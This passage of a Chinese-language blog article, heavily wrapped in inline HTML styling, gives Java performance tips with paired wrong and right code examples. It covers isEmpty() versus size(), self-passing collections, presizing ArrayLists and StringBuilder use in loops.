Collection.isEmpty()使得代码更易读，并且可以获得更好的性能。</span><br></p> <p style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;line-height: 1.75em;"><span style="color: rgb(74, 74, 74); font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif; font-size: 15px; letter-spacing: 0.544px; text-indent: 37px; white-space: pre-line;"><br></span></p> <p style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;line-height: 1.75em;"><span style="color: rgb(74, 74, 74); font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif; font-size: 15px; letter-spacing: 0.544px; text-indent: 37px; white-space: pre-line;">任何 Collection.isEmpty() 实现的时间复杂度都是 O(1) ，但是某些 Collection.size() 实现的时间复杂度可能是 O(n) 。</span></p> <section style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;line-height: 1.75em;"> <br> </section> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><strong><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;">反例：</span></strong><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;"></span><span style="font-weight: 600;"></span></p> <pre class="" style="padding: 16px;overflow-wrap: normal;letter-spacing: 0.544px;word-spacing: normal;overflow: auto;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;font-size: 13.6px;line-height: 1.45;word-break: normal;color: rgb(0, 0, 0);background: rgba(246, 248, 250, 0.8);border-width: initial;border-style: none;border-color: initial;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;tab-size: 4;hyphens: none;"><p style="line-height: 2em;"><code class="" style="overflow-wrap: normal;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;color: inherit;background: 0px 0px transparent;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;word-spacing: normal;word-break: normal;line-height: inherit;tab-size: 4;hyphens: none;border-width: 0px;border-style: initial;border-color: initial;display: inline;overflow: visible;"><span class="" style="color: rgb(0, 119, 170);">if</span> <span class="" style="color: rgb(153, 153, 153);">(</span>collection<span class="" style="color: rgb(153, 153, 153);">.</span><span class="" style="color: rgb(221, 74, 104);">size</span><span class="" style="color: rgb(153, 153, 153);">()</span> <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">==</span> <span class="" style="color: rgb(153, 0, 85);">0</span><span class="" style="color: rgb(153, 153, 153);">)</span> <span class="" style="color: rgb(153, 153, 153);">{</span><br> <span class="" style="color: rgb(153, 153, 153);">...</span><br><span class="" style="color: rgb(153, 153, 153);">}</span><br></code></p></pre> <section style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;line-height: 1.75em;"> <br> </section> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><strong><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;">正例：</span></strong><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;"></span><span style="font-weight: 600;"></span></p> <pre class="" style="padding: 16px;overflow-wrap: normal;letter-spacing: 0.544px;word-spacing: normal;overflow: auto;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;font-size: 13.6px;line-height: 1.45;word-break: normal;color: rgb(0, 0, 0);background: rgba(246, 248, 250, 0.8);border-width: initial;border-style: none;border-color: initial;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;tab-size: 4;hyphens: none;"><p style="line-height: 2em;"><code class="" style="overflow-wrap: normal;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;color: inherit;background: 0px 0px transparent;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;word-spacing: normal;word-break: normal;line-height: inherit;tab-size: 4;hyphens: none;border-width: 0px;border-style: initial;border-color: initial;display: inline;overflow: visible;"><span class="" style="color: rgb(0, 119, 170);">if</span> <span class="" style="color: rgb(153, 153, 153);">(</span>collection<span class="" style="color: rgb(153, 153, 153);">.</span><span class="" style="color: rgb(221, 74, 104);">isEmpty</span><span class="" style="color: rgb(153, 153, 153);">())</span> <span class="" style="color: rgb(153, 153, 153);">{</span><br> <span class="" style="color: rgb(153, 153, 153);">...</span><br><span class="" style="color: rgb(153, 153, 153);">}</span><br></code></p></pre> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;">如果需要还需要检测 null ，可采用CollectionUtils.isEmpty(collection)和CollectionUtils.isNotEmpty(collection)。</span></p> <section style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;line-height: 1.75em;"></section> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="font-size: 16px;"><strong><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;"><br></span></strong></span></p> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="font-size: 16px;"><strong><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;">不要把集合对象传给自己</span></strong></span></p> <section style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;line-height: 1.75em;"> <br> </section> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;">此外，由于某些方法要求参数在执行期间保持不变，因此将集合传递给自身可能会导致异常行为。</span><br></p> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;"><br></span></p> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;">反例：</span><span style="font-weight: 600;"></span></p> <pre class="" style="padding: 16px;overflow-wrap: normal;letter-spacing: 0.544px;word-spacing: normal;overflow: auto;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;font-size: 13.6px;line-height: 1.45;word-break: normal;color: rgb(0, 0, 0);background: rgba(246, 248, 250, 0.8);border-width: initial;border-style: none;border-color: initial;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;tab-size: 4;hyphens: none;"><p style="line-height: 2em;"><code class="" style="overflow-wrap: normal;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;color: inherit;background: 0px 0px transparent;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;word-spacing: normal;word-break: normal;line-height: inherit;tab-size: 4;hyphens: none;border-width: 0px;border-style: initial;border-color: initial;display: inline;overflow: visible;">List<span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">&lt;</span>String<span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">&gt;</span> list <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">=</span> <span class="" style="color: rgb(0, 119, 170);">new</span> <span class="">ArrayList</span><span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">&lt;&gt;</span><span class="" style="color: rgb(153, 153, 153);">();</span><br>list<span class="" style="color: rgb(153, 153, 153);">.</span><span class="" style="color: rgb(221, 74, 104);">add</span><span class="" style="color: rgb(153, 153, 153);">(</span><span class="" style="color: rgb(102, 153, 0);">"Hello"</span><span class="" style="color: rgb(153, 153, 153);">);</span><br>list<span class="" style="color: rgb(153, 153, 153);">.</span><span class="" style="color: rgb(221, 74, 104);">add</span><span class="" style="color: rgb(153, 153, 153);">(</span><span class="" style="color: rgb(102, 153, 0);">"World"</span><span class="" style="color: rgb(153, 153, 153);">);</span><br><span class="" style="color: rgb(0, 119, 170);">if</span> <span class="" style="color: rgb(153, 153, 153);">(</span>list<span class="" style="color: rgb(153, 153, 153);">.</span><span class="" style="color: rgb(221, 74, 104);">containsAll</span><span class="" style="color: rgb(153, 153, 153);">(</span>list<span class="" style="color: rgb(153, 153, 153);">))</span> <span class="" style="color: rgb(153, 153, 153);">{</span> <span class="" spellcheck="true" style="line-height: 1.8;color: rgb(112, 128, 144);">// 无意义,总是返回true</span><br> <span class="" style="color: rgb(153, 153, 153);">...</span><br><span class="" style="color: rgb(153, 153, 153);">}</span><br></code></p><p><code class="" style="overflow-wrap: normal;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;color: inherit;background: 0px 0px transparent;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;word-spacing: normal;word-break: normal;line-height: inherit;tab-size: 4;hyphens: none;border-width: 0px;border-style: initial;border-color: initial;display: inline;overflow: visible;">list<span class="" style="color: rgb(153, 153, 153);">.</span><span class="" style="color: rgb(221, 74, 104);">removeAll</span><span class="" style="color: rgb(153, 153, 153);">(</span>list<span class="" style="color: rgb(153, 153, 153);">);</span> <span class="" spellcheck="true" style="line-height: 1.8;color: rgb(112, 128, 144);">// 性能差, 直接使用clear()</span></code></p></pre> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(0, 0, 0);font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;font-size: 13.6px;white-space: pre;background-color: rgba(246, 248, 250, 0.8);"></span></p> <p style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;"><br></p> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif; line-height: 2em; margin-bottom: 15px;"><strong><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 16px;">集合初始化尽量指定大小</span></strong></p> <section style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;line-height: 1.75em;"> <span style="color: rgb(74, 74, 74); font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif; font-size: 15px; letter-spacing: 0.544px; text-indent: 37px; white-space: pre-line;">java 的集合类用起来十分方便，但是看源码可知，集合也是有大小限制的。</span> <br> </section> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;"><br></span></p> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;">每次扩容的时间复杂度很有可能是 O(n) ，所以尽量指定可预知的集合大小，能减少集合的扩容次数。</span></p> <section style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;line-height: 1.75em;"> <br> </section> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><strong><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;">反例：</span></strong><span style="font-weight: 600;"></span></p> <pre class="" style="padding: 16px;overflow-wrap: normal;letter-spacing: 0.544px;word-spacing: normal;overflow: auto;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;font-size: 13.6px;line-height: 1.45;word-break: normal;color: rgb(0, 0, 0);background: rgba(246, 248, 250, 0.8);border-width: initial;border-style: none;border-color: initial;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;tab-size: 4;hyphens: none;"><p style="line-height: 2em;"><code class="" style="overflow-wrap: normal;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;color: inherit;background: 0px 0px transparent;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;word-spacing: normal;word-break: normal;line-height: inherit;tab-size: 4;hyphens: none;border-width: 0px;border-style: initial;border-color: initial;display: inline;overflow: visible;"><span class="" style="color: rgb(0, 119, 170);">int</span><span class="" style="color: rgb(153, 153, 153);">[]</span> arr <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">=</span> <span class="" style="color: rgb(0, 119, 170);">new</span> <span class="">int</span><span class="" style="color: rgb(153, 153, 153);">[]{</span><span class="" style="color: rgb(153, 0, 85);">1</span><span class="" style="color: rgb(153, 153, 153);">,</span> <span class="" style="color: rgb(153, 0, 85);">2</span><span class="" style="color: rgb(153, 153, 153);">,</span> <span class="" style="color: rgb(153, 0, 85);">3</span><span class="" style="color: rgb(153, 153, 153);">};</span><br>List<span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">&lt;</span>Integer<span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">&gt;</span> list <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">=</span> <span class="" style="color: rgb(0, 119, 170);">new</span> <span class="">ArrayList</span><span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">&lt;&gt;</span><span class="" style="color: rgb(153, 153, 153);">();</span><br><span class="" style="color: rgb(0, 119, 170);">for</span> <span class="" style="color: rgb(153, 153, 153);">(</span><span class="" style="color: rgb(0, 119, 170);">int</span> i <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">:</span> arr<span class="" style="color: rgb(153, 153, 153);">)</span> <span class="" style="color: rgb(153, 153, 153);">{</span><br> list<span class="" style="color: rgb(153, 153, 153);">.</span><span class="" style="color: rgb(221, 74, 104);">add</span><span class="" style="color: rgb(153, 153, 153);">(</span>i<span class="" style="color: rgb(153, 153, 153);">);</span><br><span class="" style="color: rgb(153, 153, 153);">}</span><br></code></p></pre> <section style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;line-height: 1.75em;"> <br> </section> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><strong><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;">正例：</span></strong><span style="font-weight: 600;"></span></p> <pre class="" style="padding: 16px;overflow-wrap: normal;letter-spacing: 0.544px;word-spacing: normal;overflow: auto;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;font-size: 13.6px;line-height: 1.45;word-break: normal;color: rgb(0, 0, 0);background: rgba(246, 248, 250, 0.8);border-width: initial;border-style: none;border-color: initial;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;tab-size: 4;hyphens: none;"><p style="line-height: 2em;"><code class="" style="overflow-wrap: normal;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;color: inherit;background: 0px 0px transparent;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;word-spacing: normal;word-break: normal;line-height: inherit;tab-size: 4;hyphens: none;border-width: 0px;border-style: initial;border-color: initial;display: inline;overflow: visible;"><span class="" style="color: rgb(0, 119, 170);">int</span><span class="" style="color: rgb(153, 153, 153);">[]</span> arr <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">=</span> <span class="" style="color: rgb(0, 119, 170);">new</span> <span class="">int</span><span class="" style="color: rgb(153, 153, 153);">[]{</span><span class="" style="color: rgb(153, 0, 85);">1</span><span class="" style="color: rgb(153, 153, 153);">,</span> <span class="" style="color: rgb(153, 0, 85);">2</span><span class="" style="color: rgb(153, 153, 153);">,</span> <span class="" style="color: rgb(153, 0, 85);">3</span><span class="" style="color: rgb(153, 153, 153);">};</span><br>List<span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">&lt;</span>Integer<span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">&gt;</span> list <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">=</span> <span class="" style="color: rgb(0, 119, 170);">new</span> <span class="">ArrayList</span><span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">&lt;&gt;</span><span class="" style="color: rgb(153, 153, 153);">(</span>arr<span class="" style="color: rgb(153, 153, 153);">.</span>length<span class="" style="color: rgb(153, 153, 153);">);</span><br><span class="" style="color: rgb(0, 119, 170);">for</span> <span class="" style="color: rgb(153, 153, 153);">(</span><span class="" style="color: rgb(0, 119, 170);">int</span> i <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">:</span> arr<span class="" style="color: rgb(153, 153, 153);">)</span> <span class="" style="color: rgb(153, 153, 153);">{</span><br></code></p><p><code class="" style="overflow-wrap: normal;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;color: inherit;background: 0px 0px transparent;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;word-spacing: normal;word-break: normal;line-height: inherit;tab-size: 4;hyphens: none;border-width: 0px;border-style: initial;border-color: initial;display: inline;overflow: visible;"> list<span class="" style="color: rgb(153, 153, 153);">.</span><span class="" style="color: rgb(221, 74, 104);">add</span><span class="" style="color: rgb(153, 153, 153);">(</span>i<span class="" style="color: rgb(153, 153, 153);">);</span></code></p><p><span style="color: rgb(153, 153, 153);background-color: transparent;word-spacing: normal;">}</span></p></pre> <section style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;line-height: 1.75em;"> <br> </section> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 16px;"><strong>字符串拼接使用 StringBuilder&nbsp;</strong></span></p> <section style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;line-height: 1.75em;"></section> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;">一般的字符串拼接在编译期 java 会进行优化，但是在循环中字符串拼接， java 编译期无法做到优化，所以需要使用 StringBuilder 进行替换。</span></p> <section style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;line-height: 1.75em;"> <br> </section> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><strong><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;">反例：</span></strong></p> <pre class="" style="padding: 16px;overflow-wrap: normal;letter-spacing: 0.544px;word-spacing: normal;overflow: auto;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;font-size: 13.6px;line-height: 1.45;word-break: normal;color: rgb(0, 0, 0);background: rgba(246, 248, 250, 0.8);border-width: initial;border-style: none;border-color: initial;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;tab-size: 4;hyphens: none;"><p style="line-height: 2em;"><code class="" style="overflow-wrap: normal;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;color: inherit;background: 0px 0px transparent;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;word-spacing: normal;word-break: normal;line-height: inherit;tab-size: 4;hyphens: none;border-width: 0px;border-style: initial;border-color: initial;display: inline;overflow: visible;">String s <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">=</span> <span class="" style="color: rgb(102, 153, 0);">""</span><span class="" style="color: rgb(153, 153, 153);">;</span><br><span class="" style="color: rgb(0, 119, 170);">for</span> <span class="" style="color: rgb(153, 153, 153);">(</span><span class="" style="color: rgb(0, 119, 170);">int</span> i <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">=</span> <span class="" style="color: rgb(153, 0, 85);">0</span><span class="" style="color: rgb(153, 153, 153);">;</span> i <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">&lt;</span> <span class="" style="color: rgb(153, 0, 85);">10</span><span class="" style="color: rgb(153, 153, 153);">;</span> i<span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">++</span><span class="" style="color: rgb(153, 153, 153);">)</span> <span class="" style="color: rgb(153, 153, 153);">{</span><br> s <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">+=</span> i<span class="" style="color: rgb(153, 153, 153);">;</span><br><span class="" style="color: rgb(153, 153, 153);">}</span><br></code></p></pre> <section style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;line-height: 1.75em;"> <br> </section> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><strong><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;">正例：</span></strong><span style="font-weight: 600;"></span></p> <pre class="" style="padding: 16px;overflow-wrap: normal;letter-spacing: 0.544px;word-spacing: normal;overflow: auto;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;font-size: 13.6px;line-height: 1.45;word-break: normal;color: rgb(0, 0, 0);background: rgba(246, 248, 250, 0.8);border-width: initial;border-style: none;border-color: initial;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;tab-size: 4;hyphens: none;"><p style="line-height: 2em;"><code class="" style="overflow-wrap: normal;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;color: inherit;background: 0px 0px transparent;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;word-spacing: normal;word-break: normal;line-height: inherit;tab-size: 4;hyphens: none;border-width: 0px;border-style: initial;border-color: initial;display: inline;overflow: visible;">String a <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">=</span> <span class="" style="color: rgb(102, 153, 0);">"a"</span><span class="" style="color: rgb(153, 153, 153);">;</span><br>String b <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">=</span> <span class="" style="color: rgb(102, 153, 0);">"b"</span><span class="" style="color: rgb(153, 153, 153);">;</span><br>String c <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">=</span> <span class="" style="color: rgb(102, 153, 0);">"c"</span><span class="" style="color: rgb(153, 153, 153);">;</span><br>String s <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">=</span> a <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">+</span> b <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">+</span> c<span class="" style="color: rgb(153, 153, 153);">;</span> <span class="" spellcheck="true" style="line-height: 1.8;color: rgb(112, 128, 144);">// 没问题，java编译器会进行优化</span><br>StringBuilder sb <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">=</span> <span class="" style="color: rgb(0, 119, 170);">new</span> <span class="">StringBuilder</span><span class="" style="color: rgb(153, 153, 153);">();</span><br><span class="" style="color: rgb(0, 119, 170);">for</span> <span class="" style="color: rgb(153, 153, 153);">(</span><span class="" style="color: 